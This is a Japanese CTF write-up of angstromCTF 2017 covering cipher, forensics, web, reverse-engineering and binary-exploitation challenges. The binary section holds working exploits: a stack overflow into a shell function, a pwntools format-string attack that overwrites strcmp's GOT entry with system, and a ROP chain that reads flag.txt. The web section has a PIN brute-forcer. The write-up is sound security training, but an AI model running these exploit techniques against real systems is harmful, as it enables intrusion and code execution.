st98 の日記帳


[ctf] angstromCTF 2017 の write-up

チーム Harekaze で angstromCTF 2017 に参加しました。最終的にチームで 905 点を獲得し、順位は 10 位 (得点 654 チーム中) でした。うち、私は 12 問を解いて 795 点を入れました。

以下、解いた問題の write-up です。

MISC

Survey (5)

アンケートに答えるとフラグが得られました。

actf{th4t_w4s_fun_l3t5_d0_1t_4g41n!}

CRYPTO

The Beginning (10)

以下のような暗号文が与えられました。

Pxevhfx mh tgzlmkhfvmy. Px ahix rhn xgchr hnk vmy. tvmy{utvd_mh_max_ynmnkx}.

シーザー暗号として右に 7 シフトするとフラグが得られました。

actf{back_to_the_future}

Knock Knock (30)

sounds.mp3 という音声ファイルが与えられます。再生してみると、一定のペースで 1 ~ 5 回連続でノックしてからしばらく無音、また一定のペースで 1 ~ 5 回連続でノック、無音 … が繰り返されていました。

ノックのタイミングは以下の通りです。

.. ... . ..... ... . ... ..... ... .. . ..... ... ..... ... . . ..... . . .... ... . ..... .

調べていると Tap code という暗号が見つかりました。Tap code としてデコードするとフラグが得られました。

t = ['abcde', 'fghij', 'lmnop', 'qrstu', 'vwxyz']
code = '.. ... . ..... ... . ... ..... ... .. . ..... ... ..... ... . . ..... . . .... ... . ..... .'.split(' ')
res = ''
for k in range(0, len(code) - 1, 2):
  print(len(code[k])-1, len(code[k-1])-1)
  res += t[len(code[k])-1][len(code[k+1])-1]
print(res)
helpmeplease

Descriptions (50)

以下のような暗号文が与えられました。

The horse was a small falcon runner.
The horse was a huge goat pitcher.
The pig is a quick falcon singer.
The goat was a quick sheep speaker.
The sheep is the big goat pitcher.
The sheep was a slow sheep hitter.
The horse is a tiny goat dancer.
A cow is the huge bluejay dancer.
The falcon is the fast sheep pitcher.
The pig was a speedy falcon pitcher.
The pig was the speedy goat singer.
The goat was a huge sheep hitter.
The horse was the speedy sheep runner.
The cow was a speedy bluejay singer.
A sheep is a small falcon catcher.
The cow was the fast cow singer.
The goat was a sluggish sheep catcher.
The goat is the slow robin catcher.

それぞれの単語が 1 ビットの 0/1 と対応しているようです。フラグが actf{...} というフォーマットであることを手がかりに頑張りましょう。

let s = `The horse was a small falcon runner.
The horse was a huge goat pitcher.
The pig is a quick falcon singer.
The goat was a quick sheep speaker.
The sheep is the big goat pitcher.
The sheep was a slow sheep hitter.
The horse is a tiny goat dancer.
A cow is the huge bluejay dancer.
The falcon is the fast sheep pitcher.
The pig was a speedy falcon pitcher.
The pig was the speedy goat singer.
The goat was a huge sheep hitter.
The horse was the speedy sheep runner.
The cow was a speedy bluejay singer.
A sheep is a small falcon catcher.
The cow was the fast cow singer.
The goat was a sluggish sheep catcher.
The goat is the slow robin catcher.`;
console.log(s
  .replace(/[.]/g, '')
  .split(/\s/)
  .map(m => m
    .replace(/^(sheep|slow|pitcher|is|The|the|runner|goat|horse|catcher|pig|quick|fast|hitter|sluggish|cow|speedy)$/gi, '1')
    .replace(/^(singer|was|tiny|huge|small|falcon|robin|big|a|speaker|dancer|bluejay)$/gi, '0')
  )
  .join('').replace(/[^01]+/g, '0').match(/.{7}/g).map(m => String.fromCharCode(parseInt(m, 2))).join(''));
actf{gr8_encod1ng}

Substitution Cipher (60)

以下のような暗号文が与えられました。

vfauedwyedmtlwylwnawyjfdzltqilqdezfntmwyewyejzettjedmwyfjlzettjyeilwfplxaenmlmpvbldzqwyxadjzyfjxfddemfqwvfavfatwzlqdplnxqyeilexnlewlnnljsfdjqpqtqwvwyedvfauedsfjjqptvoewyfbvfazllsofnjedwqexfedmvfauanjlwylbenqdljvfayeilwyewtaranvvfayeilwyltaranvfodfwcdfzqdxzyewqcdfzwyewjedwqexfjmlewyzyqtlwnexqusnfpeptvjeilmtqiljedmbvlrqjwldulzyqtlxnfwljgaledmqdufbsnlyldjqptlwfvfajeiljtqiljvfamfdwzedwwylwnawyplueajlmllsmfzdqdsteuljvfamfdwwetcepfawewsenwqljvfazedwblfdwyewzettvfadllmblfdwyewzettzlajlzfnmjtqclyfdfnufmltfvetwvzlajlwyljlzfnmjejwylpeucpfdlwfetqoljsldwmloldmqdxjfblwyqdxvfaajllbejesaduytqdlqyeildlqwylnwylwqbldfnwylqdutqdewqfdwflrsteqdbvjltowfebedzyfnqjljedmjtllsjadmlnwylptedclwfowylilnvonllmfbqsnfiqmlwyldgaljwqfdjwylbeddlnqdzyquyqsnfiqmlqwqmnewylnvfahajwjeqmwyedcvfaedmzldwfdvfanzevfwylnzqjlqjaxxljwvfasqucasezlesfdedmjwedmesfjwlqwylnzevqmfdwxqilemebdzyewvfawyqdcvfanlldwqwtlmwf{olzxffmbldhljjls}

単一換字式暗号のようです。quipqiup に投げると平文が得られました。

you cant handle the truths on we live in a world that has walls and those walls have to be guarded by men with guns whos gonna do it you yoult weinberg i have a greater responsibility than you can possibly fathom you weep for santiago and you curse the marines you have that luxury you have the luxury of not knowing what i know that santiagos death while tragic probably saved lives and my existence while grotesque and incomprehensible to you saves lives you dont want the truth because deep down in places you dont talk about at parties you want me on that wall you need me on that wall we use words like honor code loyalty we use these words as the backbone to a life spent defending something you use em as a punch line i have neither the time nor the inclination to explain myself to a man who rises and sleeps under the blanket of the very freedom i provide then questions the manner in which i provide it id rather you just said thank you and went on your way otherwise i suggest you pick up a weapon and stand a post either way i dont give a damn what you think youre entitled to{ few good men jesse p}
{fewgoodmenjessep}

FORENSICS

USB Encryption (30)

DEFUND.dmg というファイルが与えられます。

7z e DEFUND.dmg で展開してから strings -a 0.DOS_FAT_32 するとフラグが得られました。

actf{not_quite_usb_encryption}

Headphones (100)

headphones.pcap という pcap ファイルが与えられます。ヒントによると SADES A60 というヘッドセットで何か聞いているようです。適当に wav ファイルを作ってしまいましょう。

import struct
from scapy.all import *

pcap = rdpcap('headphones.pcap')
res = b''
for k, p in enumerate(pcap):
  if len(p) < 1923:
    continue
  s = bytes(p)
  res += s[0x9f:]

with open('a_.wav', 'wb') as f:
  f.write(b'RIFF.$+\x00WAVEfmt \x10\x00\x00\x00\x01\x00\x01\x00"V\x00\x00D\xac\x00\x00\x02\x00\x10\x00data')
  f.write(struct.pack('<I', len(res)))
  f.write(res)
actf{e392157ea599c605b6d483042ff8d9fe}

BINARY

Running in Circles (50)

run_circles.c という C のコードと、それをコンパイルした run_circles という ELF が与えられます。run_circles.c は以下のような内容でした。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* I should probably get rid of this... */
void give_shell()
{
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	system("/bin/sh -i");
}

int main(int argc, char **argv)
{
	char buffer[256];
	int pos = 0;

	printf("Welcome to the circular buffer manager:\n\n");
	while(1)
	{
		int len;
		printf("How many bytes? "); fflush(stdout);
		scanf("%u", &len);
		fgets(buffer, 2, stdin);

		if (len == 0) break;

		printf("Enter your data: "); fflush(stdout);
		if (len < 256 - pos)
		{
			fgets(&buffer[pos], len, stdin);
			pos += len;
		}
		else
		{
			fgets(&buffer[pos], 256 - pos, stdin);
			len -= (256 - pos);
			pos = 0;

			fgets(&buffer[0], len, stdin);
			pos += len;
		}

		printf("\n");
	}

	return 0;
}

(python -c "import struct; print '2147483647 \n' + 'A' * 280 + struct.pack('<Q', 0x400806) + '\n0'"; echo "cat flag.txt") | ./run_circles
actf{you_dont_just_go_around_a_circle_once}

To-Do List (140)

todo_list.c という C のコードと、それをコンパイルした todo_list という ELF が与えられます。todo_list.c は以下のような内容でした。

#include <stdbool.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include <dirent.h>

/* Maximum length of a username, password, and list item */
#define USER_LENGTH		16
#define PASS_LENGTH		32
#define ITEM_LENGTH		64

char user[USER_LENGTH];
char prog_dir[64];

static char *readline(char *buffer, int len, FILE *fp)
{
	if (fgets(buffer, len, fp) == NULL) return NULL;
	buffer[strcspn(buffer, "\n")] = 0;

	if (buffer[0] == 0) return NULL;
	else return buffer;
}

static void writeline(char *buffer, int len, FILE *fp)
{
	int newline_idx = strcspn(buffer, "\0");
	if (newline_idx == len) newline_idx = len - 1;

	buffer[newline_idx] = '\n';
	fwrite(buffer, newline_idx + 1, 1, fp);
}

static bool valid_string(char *str)
{
	for (char *s = str; *s != 0; s++) if (*s == '/' || *s == '.') return false;
	return true;
}

static char *read_list_name(char *buffer)
{
	printf("Enter the name of the list: ");
	readline(buffer, 16, stdin);

	if (!valid_string(buffer))
	{
		printf("Invalid character in list name\n");
		return NULL;
	}

	return buffer;
}

void create_list()
{
	char list_name[16];
	if (!read_list_name(list_name)) return;

	FILE *fp = fopen(list_name, "w");
	if (!fp)
	{
		printf("Error creating list\n");
		return;
	}

	char item[ITEM_LENGTH];
	while (readline(item, ITEM_LENGTH, stdin))
	{
		writeline(item, ITEM_LENGTH, fp);
	}

	fclose(fp);
}

void view_list()
{
	char list_name[16];
	if (!read_list_name(list_name)) return;

	FILE *fp = fopen(list_name, "r");
	if (!fp)
	{
		printf("Error opening list\n");
		return;
	}

	char item[ITEM_LENGTH];
	while (readline(item, ITEM_LENGTH, fp))
	{
		printf(item);
		printf("\n");
	}

	fclose(fp);
}

void addto_list()
{
	char list_name[16];
	if (!read_list_name(list_name)) return;

	FILE *fp = fopen(list_name, "a");
	if (!fp)
	{
		printf("Error opening list\n");
		return;
	}

	char item[ITEM_LENGTH];
	while (readline(item, ITEM_LENGTH, stdin))
	{
		writeline(item, ITEM_LENGTH, fp);
	}

	fclose(fp);
}

void delete_list()
{
	char list_name[16];
	if (!read_list_name(list_name)) return;

	if (unlink(list_name) == -1) printf("Error deleting list\n");
}

void show_lists()
{
	struct dirent *entry;
	DIR *dp;

	dp = opendir(".");
	if (!dp)
	{
		printf("Error opening lists directory\n");
		return;
	}

	while(entry = readdir(dp))
	{
		if (!valid_string(entry->d_name)) continue;
		puts(entry->d_name);
	}

	closedir(dp);
}

void change_password()
{
	printf("Enter a password: ");
	char passwd[PASS_LENGTH];
	memset(passwd, 0, PASS_LENGTH);
	readline(passwd, PASS_LENGTH, stdin);

	FILE *fp = fopen(".password", "w");
	fwrite(passwd, PASS_LENGTH, 1, fp);
	fclose(fp);
}

void login_user()
{
	chdir(prog_dir);

	bool logged_in = false;
	int fails = 0;
	do
	{
		printf("Enter username: ");
		readline(user, USER_LENGTH, stdin);

		if (!valid_string(user))
		{
			printf("Invalid character in username\n");
			fails++;
			continue;
		}

		int status = mkdir(user, S_IRWXU);
		if (status == 0)
		{
			chdir(user);
			change_password();
			printf("New user %s created\n", user);
			logged_in = true;
		}
		else if (status == -1 && errno == EEXIST)
		{
			chdir(user);

			printf("Enter password: ");
			char given_passwd[PASS_LENGTH];
			memset(given_passwd, 0, PASS_LENGTH);
			readline(given_passwd, PASS_LENGTH, stdin);

			FILE *fp = fopen(".password", "r");
			char real_passwd[PASS_LENGTH];
			memset(real_passwd, 0, PASS_LENGTH);
			fread(real_passwd, PASS_LENGTH, 1, fp);
			fclose(fp);

			if (strcmp(given_passwd, real_passwd) != 0)
			{
				printf("Invalid password\n");
				chdir("..");
				fails++;
				continue;
			}
			logged_in = true;
		}
		else
		{
			printf("Failed to create user directory\n");
			fails++;
		}
	} while(!logged_in && fails < 5);

	if (!logged_in)
	{
		printf("Maximum number of failed logins exceeded\n");
		exit(-1);
	}
}

void print_help()
{
	printf("c - Create a new list\n");
	printf("v - View the contents of a list\n");
	printf("a - Add to an existing list\n");
	printf("d - Delete a list\n");
	printf("s - Show all the existing lists\n");
	printf("p - Change the user's password\n");
	printf("l - Login as a different user\n");
	printf("h - Print this very menu\n");
	printf("x - Exit the program\n\n");
}

void main_loop()
{
	printf("> ");

	char cmd[4];
	while (readline(cmd, 3, stdin))
	{
		switch (cmd[0])
		{
		case 'c':
			create_list();
			break;
		case 'v':
			view_list();
			break;
		case 'a':
			addto_list();
			break;
		case 'd':
			delete_list();
			break;
		case 's':
			show_lists();
			break;
		case 'p':
			change_password();
			break;
		case 'l':
			login_user();
			break;
		case 'h':
			print_help();
			break;
		case 'x':
			exit(0);
			break;
		default:
			break;
		}

		printf("> ");
	}
}

int main(int argc, char **argv)
{
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("Welcome to Noah's ListKeeper Pro!\n");
	printf("Keep your todo lists safely online and never worry about them again!\n");
	printf("Access them from your computer, phone, tablet, game console, car dashboard, or smart fridge!\n\n");

	printf("Let's start by getting you logged in\n");
	getcwd(prog_dir, 64);
	login_user();

	printf("Welcome, %s! Here are the commands you can use: \n", user);
	print_help();
	main_loop();
}

リストの表示処理に FSB があります。

void view_list()
{
	char list_name[16];
	if (!read_list_name(list_name)) return;

	FILE *fp = fopen(list_name, "r");
	if (!fp)
	{
		printf("Error opening list\n");
		return;
	}

	char item[ITEM_LENGTH];
	while (readline(item, ITEM_LENGTH, fp))
	{
		printf(item);
		printf("\n");
	}

	fclose(fp);
}
$ ./todo_list
...
> c
Enter the name of the list: %d
%d

> v
Enter the name of the list: %d
1608123552

これを使って攻撃しましょう。

まず GOT にある適当な関数のアドレスを手に入れましょう。リストの内容の入力では \0 を含ませることができません。リスト名にアドレスを仕込んで、リストの内容の入力からそれを参照してリークさせましょう。

リークさせたアドレスから libc のベースアドレスを計算し、GOT の strcmp を libc のベースアドレス + system のオフセットに書き換えてしまいましょう。strcmp(given_passwd, real_passwd) という形でログイン時のパスワードの比較に strcmp が使われているため、パスワードに /bin/sh を入力することでシェルを起動させることができます。

from pwn import *

addr_got_fopen = 0x6020b8
addr_got_strcmp = 0x6020a0

offset_fopen = 0x6a0a0
offset_system = 0x41490

def view_list(a, wait=True):
  if wait:
    s.recvuntil('> ')
  s.sendline('v')
  if wait:
    s.recvuntil('Enter the name of the list: ')
  s.sendline(a)

def create_list(a, b, wait=True):
  if wait:
    s.recvuntil('> ')
  s.sendline('c')
  if wait:
    s.recvuntil('Enter the name of the list: ')
  s.sendline(a)
  s.sendline(b)
  s.sendline('')

s = remote('shell.angstromctf.com', 9000)

s.recvuntil('username: ')
s.sendline('nya-n')
s.recvuntil('password: ')
s.sendline('nyo-n')

# leak fopen address
create_list(p64(addr_got_fopen), '%8$s')
view_list(p64(addr_got_fopen))

addr_fopen = int(s.recvuntil('> ')[:-3][::-1].encode('hex'), 16)
libc_base = addr_fopen - offset_fopen
log.info('addr_fopen : %x' % addr_fopen)
log.info('libc_base : %x' % libc_base)

# overwrite strcmp
addr_system = libc_base + offset_system
dest = addr_system

a = (dest & (0xffff << 48)) >> 48
b = (dest & (0xffff << 32)) >> 32
c = (dest & (0xffff << 16)) >> 16
d = dest & 0xffff

create_list(p64(addr_got_strcmp), '%{}c%8$hn'.format(d), wait=False)
view_list(p64(addr_got_strcmp), wait=False)
create_list(p64(addr_got_strcmp + 2), '%{}c%8$hn'.format(c), wait=False)
view_list(p64(addr_got_strcmp + 2), wait=False)
create_list(p64(addr_got_strcmp + 4), '%{}c%8$hn'.format(b), wait=False)
view_list(p64(addr_got_strcmp + 4), wait=False)

# system('/bin/sh')
s.sendline('l')
s.sendline('nya-n')
s.sendline('/bin/sh')

s.interactive()

s.close()
actf{oh_crap_we_actually_have_to_pay_you}

No libc for You (150)

nolibc4u.c という C のコードと、それをコンパイルした todo_list という ELF が与えられます。nolibc4u.c は以下のような内容でした。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln()
{
	char buf[64];

	gets(buf);
	printf("You said: %s\n", buf);
}

int main(int argc, char **argv)
{
	vuln();

	return 0;
}

nolibc4u がどのようなファイルか調べてみましょう。

$ file ./nolibc4u
./nolibc4u: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=5706d8c0dd81b6dd639555de66affc8100fc4887, not stripped
$ checksec --file ./nolibc4u
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX enabled で statically linked、しかもバイナリに system は見当たりません。

open read printf があり、またフラグは flag.txt にあると分かっているので、直接ファイルからフラグを読んでしまいましょう。

import struct
import time

p = lambda x: struct.pack('<Q', x)
payload = ''
payload += 'A' * 72

payload += p(0x4014c6) # pop rdi; ret
payload += p(0x6cab60) # .bss
payload += p(0x40fb60) # gets

payload += p(0x4014c6) # pop rdi; ret
payload += p(0x6cab60) # .bss
payload += p(0x4015e7) # pop rsi; ret
payload += p(0)
payload += p(0x43e870) # open

payload += p(0x4014c6) # pop rdi; ret
payload += p(3)
payload += p(0x4015e7) # pop rsi; ret
payload += p(0x6cab60) # .bss
payload += p(0x441d06) # pop rdx; ret
payload += p(1024)
payload += p(0x43e8d0) # read

payload += p(0x4014c6) # pop rdi; ret
payload += p(0x6cab60) # .bss
payload += p(0x40f330) # printf

print payload
time.sleep(.5)
print 'flag.txt\0'
actf{ya_gotta_luv3_r0p_ch4in5}

WEB

Captcha I (70)

CAPTCHA で守られた Web アプリを攻撃して、3 桁の PIN を当てろという問題でした。

この問題の CAPTCHA は、まず画像が与えられ、その中にある(赤|緑|青)の(三角|四角|円)の数を答えるというものでした。

何度か試してみるとこの図形の数は毎回 1 ~ 10 個の範囲内にあるということが分かりました。あとは適当に総当たりしましょう。

import requests

for x in range(1000):
  print x
  for y in range(7, 11):
    c = requests.post('http://web.angstromctf.com:1342/', data={
      'question1': str(y),
      'pin': str(x).zfill(3)
    }).content
    if 'Bad captcha' in c:
      print '><'
      continue
    if 'Wrong pin' not in c:
      print c
      raw_input('')
    break
actf{comp_abstract_art_2F239B}

RE

Pygarbage (100)

flag.txt という何らかの形でエンコードされたファイルと obfuscated.py という Python のコードが与えられます。obfuscated.py は以下のような内容でした。

# coding: UTF-8
import sys
l1l1ll11lll1l_opy_ = sys.version_info [0] == 2
l11l11lll1_opy_ = 2048
l111l1llllll_opy_ = 7
def l1l1l11ll11ll_opy_ (l1111111lllll_opy_):
    global l1l11111ll1l1_opy_
    l11ll1ll1l_opy_ = ord (l1111111lllll_opy_ [-1])
    l1lll1l1llll_opy_ = l1111111lllll_opy_ [:-1]
    l1lll1l1ll1111_opy_ = l11ll1ll1l_opy_ % len (l1lll1l1llll_opy_)
    l1l1l111ll1_opy_ = l1lll1l1llll_opy_ [:l1lll1l1ll1111_opy_] + l1lll1l1llll_opy_ [l1lll1l1ll1111_opy_:]
    if l1l1ll11lll1l_opy_:
        l11l11111ll1_opy_ = l1ll1ll111ll_opy_ () .join ([l111l1111l_opy_ (ord (char) - l11l11lll1_opy_ - (l1lll1_opy_ + l11ll1ll1l_opy_) % l111l1llllll_opy_) for l1lll1_opy_, char in enumerate (l1l1l111ll1_opy_)])
    else:
        l11l11111ll1_opy_ = str () .join ([chr (ord (char) - l11l11lll1_opy_ - (l1lll1_opy_ + l11ll1ll1l_opy_) % l111l1llllll_opy_) for l1lll1_opy_, char in enumerate (l1l1l111ll1_opy_)])
    return eval (l11l11111ll1_opy_)
...

どうやら QQuick/Opy を使って難読化されているようです。

頭から 1 文字ずつ総当たりでエンコードし、どれだけ flag.txt と一致しているかを見てフラグを特定していきましょう。

from obfuscated import *

def xor(a, b):
  res = ''
  if len(a) < len(b):
    a, b = b, a
  for k, c in enumerate(a):
    res += chr(ord(c) ^ ord(b[k % len(b)]))
  return res

encrypted = open('flag.txt', 'rb').read().decode()
s, x = '', 15
while True:
  for c in range(0x20, 0x7f):
    t = s + chr(c)
    cnt = xor(l1111l1ll1ll1_opy_(t), encrypted).count('\0')
    if cnt > x:
      x = cnt
      s += chr(c)
      break
  print(s)
actf{i_<3_python}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳